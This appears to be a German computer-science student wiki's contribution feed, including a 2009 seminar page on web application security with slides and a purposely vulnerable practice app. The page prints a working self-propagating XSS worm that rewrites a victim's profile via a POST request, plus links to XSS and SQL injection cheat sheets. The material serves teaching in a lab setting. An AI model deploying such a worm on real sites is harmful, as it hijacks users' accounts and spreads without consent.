Datei:Latex-grundkurs.zip

2013-11-06T14:39:26Z

8pridoeh: 8pridoeh lud eine neue Version von „Datei:Latex-grundkurs.zip“ hoch: Date images/gnu.pdf hinzugefügt, damit die Folien ohne Makefile+Inkscape direkt mit pdflatex kompiliert werden können.

== Beschreibung ==
Folien des LaTeX-Grundkurses

[[Kategorie:KunterBuntesSeminar]]
== Lizenz ==
{{cc-by-sa-3.0}}

Sandbox

2011-09-09T22:25:33Z

8pridoeh: Test, ob Captcha geht

Ha! Mathe geht jetzt nicht mehr :-(
:nicht toll

KunterBuntesSeminar-SS09/(Un)Sicherheit in Webanwendungen

2009-05-16T13:27:12Z

8pridoeh:

Das ist der 5. Termin vom [[KunterBuntesSeminar-SS09]]

= Abstract =
Ich möchte euch die Grundlagen der Sicherheit in Webanwendungen erläutern und dabei typische Schwachstellen aufzeigen. Es wird darum gehen, wie man diese verhindert, aber auch ausnutzen kann. Das Ausnutzen der Schwachstellen werden wir interaktiv an einer präparierten Webanwendung üben um so das Gelernte zu festigen. Der Vortrag wird ein wenig PHP-lastig sein, dieses ist zwei Umständen geschuldet: Erstens sind die meisten Webanwendungen in PHP geschrieben und zweitens macht PHP es den Programmierern sehr leicht sich selbst ins Knie zu schiessen.

Auch wenn du keine Vorkenntnisse hast und dir Begriffe wie "PHP", "HTTP" oder "SQL" nichts sagen, keine Panik, es wird alles von 0 an erklärt.

= Seminarvortrag =

FIXME (nach dem Seminar)

== Vortragende ==
Henning (8pridoeh):
Fragen zum Thema beantworte ich gerne. Ihr findet mich hin und wieder im c.t. oder anderswo in der Gegend.

= Folien/Material =
Folien: [[Bild:Sicherheit in webapplikationen.pdf]]

Präparierte Webanwendung: [[Bild:Stasivz.tar.gz]]

XSS-Wurm: <pre>hacked<script>(function(){a=new XMLHttpRequest();
a.open('POST','index.php?page=editprofile',true);
a.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
a.send('change_profile=1&movie=hacked<script>('.
concat(escape(arguments.callee.toString().concat(')();</scr').
concat('ipt>')))); })();</script></pre>
(Zeilenumbrüche vorher entfernen)

= Weiterführende Links =
Firefox-Addons:
* [https://addons.mozilla.org/en-US/firefox/addon/60 Web Developers Toolbar]
* [https://addons.mozilla.org/en-US/firefox/addon/966 Tamper Data]
* [https://addons.mozilla.org/de/firefox/addon/3899 Hackbar]
* [https://addons.mozilla.org/de/firefox/addon/3829 Live HTTP Headers]
Cheat Sheets:
* [http://ha.ckers.org/xss.html XSS Cheat Sheet]
* [http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ SQL Injection Cheat Sheet]

[[Kategorie:KunterBuntesSeminar]]

Datei:Stasivz.tar.gz

2009-05-16T13:09:51Z

8pridoeh: StasiVZ, die präparierte Webanwendung für das KunterBunteSeminar "(Un)Sicherheit in Webanwendungen"

StasiVZ, die präparierte Webanwendung für das KunterBunteSeminar "(Un)Sicherheit in Webanwendungen"

Fachschaft Informatik - Benutzerbeiträge [de]

Datei:Latex-grundkurs.zip

Sandbox

KunterBuntesSeminar-SS09/(Un)Sicherheit in Webanwendungen

Datei:Stasivz.tar.gz